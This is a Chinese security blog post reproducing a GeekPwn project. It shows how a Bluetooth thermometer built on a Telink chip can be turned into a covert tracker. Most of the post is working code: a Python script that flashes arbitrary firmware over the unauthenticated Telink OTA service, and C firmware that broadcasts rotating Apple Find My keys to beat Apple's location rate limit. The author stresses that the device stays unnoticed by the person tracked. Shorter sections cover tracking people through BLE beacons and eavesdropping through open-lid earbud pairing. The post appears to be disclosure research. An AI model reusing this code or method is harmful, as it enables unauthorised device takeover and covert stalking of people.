研究背景简介
在极棒(我是极客)比赛上看到玄武的追踪信标团队展示的项目,效果就是在耳机近场范围内,选手对耳机发起攻击然后变成了一个类似airtag跟踪器,技术评委带上耳机后在十分钟开车随便选择了一个地点,选手跟踪耳机最终确定了评委所在地
下面我们来复现这个项目,以及拓展其他有关智能设备隐私的问题
蓝牙温湿度计RCE漏洞
目标是某款蓝牙温湿度计,通过拆解外壳可以发现使用的是Telink的TLSR8251的BLE 芯片,我先说一下成因是芯片厂商一般会提供SDK以及开发时候的参考例程,其中就包括了蓝牙OTA的升级例程,而这个例程中基本没有对安全考虑,基本上只有CRC16完整性的校验,这种芯片供应链的风险其实在我19年一个议题中讲到过有兴趣的小伙伴可以看看《蓝牙安全之第二战场》
另外通过固件也能识别出产品是否使用了Telink提供的芯片架构,这里有两个方法分别是固件头部的四个字节为固定”KNLT”,以及基于官方提供的SDK编译后会包含”Telink”的字符串,这个值是被硬编码到了协议栈的封装库中
然后在设备进行升级时候保存其蓝牙数据包,可以通过Wireshark分析流量数据,然后对比从安卓目录\data\data\com.**中找到设备固件,黑盒在反推一下就能得到这个Telink OTA时候的升级协议了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
|
import logging import time from bluepy import btle logging.basicConfig(level = logging.DEBUG, format = "[%(asctime)s] [%(levelname)s] [%(filename)s#%(lineno)d] %(message)s" , datefmt = "%H:%M:%S" ) class BLEDelegate(btle.DefaultDelegate): def __init__( self ): btle.DefaultDelegate.__init__( self ) def handleNotification( self , cHandle, data): logging.info( "Notify: 0x%02x %s(%s)" , cHandle, data. hex (),bytes.fromhex(data. hex ())) def enable_notify(handle): ble_conn.writeCharacteristic(handle , b "\x01\x00" , withResponse = True ) CRC16 = 0 CRC16_CCITT = 1 CRC_CCITT_XMODEM = 2 CRC16_CCITT_x1D0F = 3 CRC16_MODBUS = 4 def crc16( buffer , mode = CRC16_MODBUS): if mode = = CRC16_CCITT: polynom = 0x1021 crc16ret = 0xFFFF if mode = = CRC16_CCITT_x1D0F: polynom = 0x1021 crc16ret = 0x1D0F if mode = = CRC_CCITT_XMODEM: polynom = 0x1021 crc16ret = 0 if mode = = CRC16: polynom = 0xA001 crc16ret = 0 if mode = = CRC16_MODBUS: polynom = 0xA001 crc16ret = 0xFFFF if (mode ! = CRC16) and (mode ! = CRC16_MODBUS): for l in buffer : crc16ret ^ = int (l) << 8 #ord(l) << 8 crc16ret & = 0xFFFF for i in range ( 0 , 8 ): if (crc16ret & 0x8000 ): crc16ret = (crc16ret << 1 ) ^ polynom else : crc16ret = crc16ret << 1 crc16ret & = 0xFFFF else : for l in buffer : crc16ret ^ = int (l) # ord(l) crc16ret & = 0xFFFF for i in range ( 8 ): if (crc16ret & 0x0001 ): crc16ret = (crc16ret >> 1 ) ^ polynom else : crc16ret = crc16ret >> 1 crc16ret & = 0xFFFF lsb = hex ((crc16ret& 0xff00 )>> 8 )[ 2 :].zfill( 2 ) msb = hex (crc16ret& 0xff )[ 2 :].zfill( 2 ) return msb + lsb TELINK_OTA_UUID_SERVICE = "00010203-0405-0607-0809-0a0b0c0d1912" TELINK_SPP_DATA_OTA = "00010203-0405-0607-0809-0a0b0c0d2b12" dev_addr = "A4:C1:38:35:A5:3A" # mmc logging.info( "Connecting..." ) ble_conn = btle.Peripheral(dev_addr, btle.ADDR_TYPE_PUBLIC,iface = 0 ) ble_conn.setDelegate(BLEDelegate()) logging.info( "Connected." ) s = ble_conn.getServiceByUUID(TELINK_OTA_UUID_SERVICE) c = s.getCharacteristics()[ 0 ] ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex( "00ff" )) ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex( "01ff" )) print ( hex (c.getHandle())) time.sleep( 0.2 ) f = open ( './iBeacon.bin' , 'rb' ) s = f.read( 16 ) addr = 0 while (s): addrs = hex (addr)[ 2 :].zfill( 4 ) msb = addrs[ 2 :] lsb = addrs[: 2 ] binline = msb + lsb + s. hex ().ljust( 16 * 2 , 'f' ); crc = crc16(bytes.fromhex(binline)).zfill( 4 ) ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex(binline + crc)) addr + = 1 s = f.read( 16 ) if addr % 8 = = 0 : while True : if ble_conn.waitForNotifications( 0.2 ): continue break pass f.close() ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex( '02ff' )) ble_conn.waitForNotifications( 1 ) |
然后根据黑盒逆向得到的协议,在基于bluepy的库写了一个Telink OTA的升级脚本,对其他使用了Telink芯片的产品都是适用的,除非是自己改过了,我是基本没遇见过,然后搜索周围的蓝牙设备就找到设备MAC,然后就能对设备进行任意的固件升级了,因为设备只能判断固件的完整性,不能对固件进行鉴别真实性,可以直接升级一个假的固件,这样就能变砖了
接着来讲下如何继续接管芯片的控制逻辑,实现任意代码执行的能力
首先我们要构建这个芯片的开发环境,大多数情况下芯片的SDK以及开发板都不太好获得,需要签署保密协议之类厂商才会提供,找到安信可专门做开发板的公司,他们居然将芯片SDK开源了!
对于其他的芯片厂商没有找到公开的资源可以试试利用大厂的公司邮箱发封邮件,也有很大概率能得到想要的文档/开发板
这样可以借助这个SDK的工具链编译我们构造好的恶意代码固件,然后在利用上面的传到设备中就能实现未授权RCE的效果了,并且还能调用原本板子上的硬件资源,例如墨水屏,温湿度传感器之类的
这类的问题讲道理应该是Telink芯片厂商去完成修复,但在我联系芯片厂商后他们认为并不是他们的问题,应该由产品的制造商来解决,方案是启用蓝牙的配对模式,但像Nordic芯片厂商则会提供一个安全的参考例程序(BLE Secure DFU)
下面来说一下怎么将这个温湿度计变成一个跟踪器
苹果 Find My 技术简介
相关的技术原理在苹果的隐私白皮书,我就简单说一下这个findmy 网络
1.手机与airtag 基于secp224r1算法标准,会生成一对公私密钥,手机将私钥保存在密钥链中
2.airtag保存公钥并将公钥进行蓝牙广播
3.周围的其他苹果终端收到带有FindMy标识的蓝牙广播后,会通过广播中的公钥加密自己的位置信息上传到苹果服务器中
4.然后airtag的拥有者可以通过公钥的哈希ID作为索引下载到加密后的信息,然后在通过密钥链中的私钥解开得到位置信息
Find My 蓝牙广播协议
然后airtag会通过蓝牙广播这个公钥(28字节)
下标 | 值 | 描述 | |
---|---|---|---|
0 | 0xc5 | EC P-224 公钥[0]的低6位(key_data[0] \ | 0b11000000) |
1-5 | 0xe7b2bb75cf | EC P-224 公钥[1:5] |
下标 | 值 | 描述 |
---|---|---|
0 | 0x1E | 蓝牙广播数据总长度 |
1 | 0xFF | 广播类型:制造厂商自定义数据 |
2-3 | 0x004C | Apple 公司ID |
4 | 0x12 | Find My的标识位/0x05==airdrop/0x07==airpods |
5 | 0x19 | 后续Data数据的长度(TLV架构) |
6 | 0x10 | 状态位例如表示电量信息 |
7-29 | 变化 | Find My 网络使用的 EC P-224 公钥[6:28] |
30 | 0-3 | EC P-224 公钥第一个字节的高 2 位(key_data[0] >> 6) |
31 | 变化 | 作用类似计数器,随机产生 |
EC P-224 公钥:05e7b2bb75cf9bbaeb32518c899fa84cca2e268e76b3a24cd1b793be
ble mac :c5e7b2bb75cf
ble payload :1eff4c001219009bbaeb32518c899fa84cca2e268e76b3a24cd1b793be0000
openhaystack # 逆向FindMy协议后实现的开源项目
在此之前其实就有其他研究员对苹果的这套FindMy协议进行逆向,通过第三方软件自己生成P-224的密钥对,然后将公钥传到自己的开发板(ESP32/NRF52/RaspberryPi)中,然后通过上面蓝牙广播协议将公钥传出,这是因为周围的苹果终端是无法识别该广播是否为真是的AirTag发出的,所以会一并上传到苹果的服务器,因为苹果API做了限制这个第三方软件只能通过安装了苹果邮件插件,访问服务器下载位置报告
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
u8 adv_key[ 16 ][ 28 ] = { { 0x05 , 0xe7 , 0xb2 , 0xbb , 0x75 , 0xcf , 0x9b , 0xba , 0xeb , 0x32 , 0x51 , 0x8c , 0x89 , 0x9f , 0xa8 , 0x4c , 0xca , 0x2e , 0x26 , 0x8e , 0x76 , 0xb3 , 0xa2 , 0x4c , 0xd1 , 0xb7 , 0x93 , 0xbe }, { 0xff , 0x12 , 0x74 , 0x71 , 0x73 , 0x7c , 0x14 , 0x2e , 0x07 , 0xe2 , 0x1f , 0xfa , 0x7e , 0x15 , 0x3f , 0x4d , 0x52 , 0xaf , 0xf6 , 0x78 , 0x37 , 0xd1 , 0x59 , 0xea , 0x2c , 0x5b , 0xf5 , 0x6e }, { 0x97 , 0x7d , 0xd0 , 0xc4 , 0x94 , 0xab , 0x6a , 0x58 , 0xe7 , 0x8c , 0xb2 , 0xe0 , 0x1d , 0x7c , 0x05 , 0xea , 0x61 , 0x21 , 0x7e , 0x8d , 0x2c , 0x83 , 0xe1 , 0x13 , 0xd9 , 0x53 , 0x63 , 0x01 }, { 0xa0 , 0x27 , 0xeb , 0xde , 0x2f , 0x1b , 0xd7 , 0x2d , 0x27 , 0xbf , 0x75 , 0x73 , 0xc5 , 0xa5 , 0x5c , 0x1e , 0xfd , 0x12 , 0xf8 , 0xc9 , 0x03 , 0xd7 , 0xf7 , 0x9b , 0x6a , 0x87 , 0xcb , 0x68 }, { 0xb7 , 0x3e , 0xea , 0xb6 , 0x87 , 0x62 , 0x1b , 0xaa , 0x5c , 0xff , 0x20 , 0xfa , 0x16 , 0x8c , 0x9f , 0x63 , 0xfd , 0xf7 , 0x39 , 0x7f , 0x6e , 0xe3 , 0xb3 , 0x47 , 0xa4 , 0x92 , 0x57 , 0x99 }, { 0x1d , 0xe8 , 0x33 , 0xe1 , 0x3d , 0x48 , 0x11 , 0xa4 , 0x8c , 0xc7 , 0x87 , 0xd1 , 0x2a , 0xd9 , 0xbd , 0x5d , 0x79 , 0xec , 0xa5 , 0xd9 , 0x12 , 0x02 , 0x93 , 0x70 , 0x26 , 0xef , 0xc5 , 0x23 }, { 0x60 , 0x8b , 0x4e , 0x0f , 0x8c , 0x7c , 0xe1 , 0x57 , 0xf8 , 0xb9 , 0x33 , 0x96 , 0x1c , 0xd9 , 0xfb , 0x3b , 0x6b , 0x7d , 0xfd , 0xce , 0xb2 , 0x05 , 0x00 , 0xd1 , 0x1f , 0x2b , 0xdc , 0x98 }, { 0x4f , 0x41 , 0xb7 , 0x27 , 0xc5 , 0x90 , 0x1f , 0x79 , 0xaf , 0x33 , 0xc8 , 0x9b , 0x1a , 0x53 , 0x37 , 0x69 , 0xcc , 0x96 , 0xcb , 0x2c , 0x6e , 0x03 , 0x5e , 0x3d , 0x2d , 0x06 , 0x6b , 0xd6 }, { 0xbe , 0x6a , 0x91 , 0x99 , 0x27 , 0x7f , 0xed , 0x92 , 0xe2 , 0x5e , 0xa5 , 0xd0 , 0x01 , 0xef , 0xe9 , 0x50 , 0x75 , 0x93 , 0xfe , 0xcb , 0x79 , 0x4f , 0x52 , 0x32 , 0xdf , 0x5b , 0xf9 , 0x82 }, { 0x3a , 0xda , 0x8a , 0x7f , 0x2d , 0x56 , 0xcb , 0x5b , 0xd6 , 0xe3 , 0xe0 , 0x5b , 0x01 , 0x11 , 0x64 , 0x96 , 0x89 , 0x86 , 0xa4 , 0x3b , 0x2b , 0x05 , 0xdb , 0x94 , 0xb9 , 0xf5 , 0xfe , 0xbc }, { 0x7b , 0xba , 0xcd , 0x7a , 0x5f , 0x55 , 0xba , 0x1e , 0x00 , 0xf1 , 0xdc , 0xe7 , 0x1c , 0xb2 , 0x65 , 0x5f , 0x11 , 0x86 , 0x55 , 0x62 , 0x99 , 0xc4 , 0xb9 , 0x9b , 0x25 , 0xeb , 0x95 , 0xb3 }, { 0xdf , 0xef , 0xa2 , 0x71 , 0xd2 , 0x2f , 0xdf , 0xd2 , 0x61 , 0xf3 , 0xc6 , 0x0a , 0x0a , 0x0f , 0x92 , 0x30 , 0x4b , 0x5c , 0x33 , 0x16 , 0x29 , 0x63 , 0xcc , 0x66 , 0xca , 0xd0 , 0x06 , 0xb2 }, { 0xf0 , 0xa4 , 0xcf , 0xca , 0x5d , 0x66 , 0xc6 , 0xaa , 0x34 , 0xe6 , 0x21 , 0x21 , 0x73 , 0x6d , 0x5a , 0x29 , 0x19 , 0xc1 , 0x90 , 0x6e , 0xf2 , 0xbf , 0x77 , 0x01 , 0xe2 , 0x6b , 0x89 , 0xab }, { 0x6c , 0x00 , 0xaa , 0xa2 , 0xb3 , 0xb5 , 0x85 , 0x6c , 0x0c , 0x1e , 0x37 , 0xb3 , 0x59 , 0xf2 , 0xfe , 0x99 , 0xe5 , 0x33 , 0x1f , 0xeb , 0x8b , 0xc4 , 0x7d , 0x65 , 0x65 , 0x7d , 0xd9 , 0x75 }, { 0x10 , 0x96 , 0x5e , 0xf8 , 0xeb , 0x1b , 0xf3 , 0x0a , 0x22 , 0xe6 , 0x22 , 0x5a , 0x2b , 0xea , 0x78 , 0x6a , 0x63 , 0xc5 , 0xe6 , 0x3c , 0x3b , 0xd2 , 0x36 , 0x2e , 0xaa , 0x64 , 0xdb , 0x1e }, { 0x88 , 0xfb , 0x96 , 0x83 , 0x18 , 0xf6 , 0x6f , 0x8d , 0x86 , 0xd2 , 0xec , 0xfd , 0x26 , 0x68 , 0xeb , 0xed , 0x73 , 0xcc , 0x83 , 0xb9 , 0xe2 , 0x6b , 0x73 , 0x8d , 0x43 , 0x57 , 0x88 , 0xca } }; void apple_adv(u8 * key_data){ bls_ll_setAdvEnable( 0 ); u8 mac_public_d[ 6 ]; mac_public_d[ 5 ] = key_data[ 0 ] | 0b11000000 ; mac_public_d[ 4 ] = key_data[ 1 ]; mac_public_d[ 3 ] = key_data[ 2 ]; mac_public_d[ 2 ] = key_data[ 3 ]; mac_public_d[ 1 ] = key_data[ 4 ]; mac_public_d[ 0 ] = key_data[ 5 ]; char at_print_buf[ 256 ]; u_sprintf((char * )at_print_buf, "mac:%02X:%02X:%02X:%02X:%02X:%02X \r\n" ,mac_public_d[ 5 ],mac_public_d[ 4 ],mac_public_d[ 3 ],mac_public_d[ 2 ],mac_public_d[ 1 ],mac_public_d[ 0 ]); at_print(at_print_buf); u8 adv_data[ 31 ] = { 0x1e , / * Length ( 30 ) * / 0xff , / * Manufacturer Specific Data ( type 0xff ) * / 0x4c , 0x00 , / * Company ID (Apple) * / 0x12 , 0x19 , / * Offline Finding type and length * / 0x00 , / * State * / 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , / * First two bits * / 0x00 , / * Hint ( 0x00 ) * / }; memcpy(&adv_data[ 7 ], &key_data[ 6 ], 22 ); adv_data[ 29 ] = key_data[ 0 ] >> 6 ; u_sprintf((char * )at_print_buf, "adv:%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X \r\n" ,adv_data[ 0 ],adv_data[ 1 ],adv_data[ 2 ],adv_data[ 3 ],adv_data[ 4 ],adv_data[ 5 ],adv_data[ 6 ],adv_data[ 7 ],adv_data[ 8 ],adv_data[ 9 ],adv_data[ 10 ],adv_data[ 11 ],adv_data[ 12 ],adv_data[ 13 ],adv_data[ 14 ],adv_data[ 15 ],adv_data[ 16 ],adv_data[ 17 ],adv_data[ 18 ],adv_data[ 19 ],adv_data[ 20 ],adv_data[ 21 ],adv_data[ 22 ],adv_data[ 23 ],adv_data[ 24 ],adv_data[ 25 ],adv_data[ 26 ],adv_data[ 27 ],adv_data[ 28 ],adv_data[ 29 ],adv_data[ 30 ]); at_print(at_print_buf); u8 mac_random_static[ 6 ]; blc_initMacAddress(CFG_ADR_MAC, mac_public_d, mac_random_static); blc_ll_initBasicMCU(); / / mandatory blc_ll_initStandby_module(mac_public_d); bls_ll_setAdvData( (u8 * )adv_data, sizeof(adv_data) ); u8 status = bls_ll_setAdvParam( ADV_INTERVAL_50MS , ADV_INTERVAL_50MS , \ ADV_TYPE_NONCONNECTABLE_UNDIRECTED, OWN_ADDRESS_PUBLIC, \ 0 , NULL, BLT_ENABLE_ADV_ALL, ADV_FP_NONE); bls_ll_setAdvEnable( 1 ); / / adv enable rf_set_power_level_index (MY_RF_POWER_INDEX); } int i = 0 ; _attribute_ram_code_ void main_loop (void) { apple_adv(adv_key[i]); char at_print_buf[ 256 ]; sleep_us( 1000000 ); u32 time_a = ( long )clock_time() / CLOCK_16M_SYS_TIMER_CLK_1S; u_sprintf((char * )at_print_buf, "time:%d\r\n" ,time_a); at_print(at_print_buf); i + + ; if (i> 15 ){ i = 0 ; } while (!(time_a % 30 = = 0 && time_a! = 0 )){ blt_sdk_main_loop(); time_a = ( long )clock_time() / CLOCK_16M_SYS_TIMER_CLK_1S; } } |
然后我在这个基础做了改进,就是苹果服务器做了一个策略是同一个FindMy的设备在五分钟内只会登记一个地点,这也是为什么项目选手十分钟只记录了两个轨迹点,我生成16个密钥对(adv_key)通过自己写的代码间隔30秒的替换广播的公钥,因此可以将间隔缩短到30秒甚至更少,跟踪的轨迹更加线性
温度计可以续航一年之久,采用了墨水屏即使不驱动,屏幕也会显示之前的数值不会轻易被跟踪者被察觉(也能自己写代码驱动墨水屏,显示真实数据,但是有一定的开发量暂未实现),从产品形态来看温度计更像温度计
参考链接
https://arxiv.org/pdf/2103.02282.pdf
https://support.apple.com/en-gb/guide/security/sece994d0126/web
https://github.com/Ai-Thinker-Open/Telink_825X_SDK
https://github.com/seemoo-lab/openhaystack
https://github.com/adamcatley/adamcatley.github.io/blob/a05b9dcbbf20e72ab31e416c210bd13d566e9c9c/docs/AirTag.md
广播信标追踪
其实上还有很多智能产品采用BLE 广播的协议实现设备发现等功能,例如两家国内销量Top2的可穿戴手环产品,在运行期间会不断广播自身唯一标识,周围任何人都能收到这个信息,还有国内大部分的快传协议也有这种风险,不过需要使用者打开系统自带的快传功能并且部分品牌手机需要保持亮屏状态
危害就是在一个城市部署足够多的蓝牙嗅探节点,进行统一汇总这样可以推算出某个人一天时间之内去了那些地方场所,或者在固定场所部署嗅探节点,例如判断这个人具体的休息工作时间
真实AirTag会定期更新所广播的公钥以及唯一的标识目的就是解决上面这个跟踪的问题,只是在国内似乎并没有人关注到这个风险
蓝牙耳机实现远程监听
最开始其实是在我现有的耳机上在挖RCE的洞,然后意外找到Enco Air 链接时候有个缺陷
正常耳机在开机后默认是与已配对的手机进行链接,配对模式需要长按某个按键才会进入,而这个耳机似乎是为了用户体验考虑,开盖后默认就是配对模式,任意人都能连接配对上,关键点就是没有授权的操作比如说按一下物理按键完成配对(比赛项目那个耳机也是处于开盖状态下,相同的条件),这样攻击者就能配对然后调用麦克风实现远程监听效果了
原文始发于看雪论坛(mobier):伪装成温度计的跟踪器(极棒项目复现)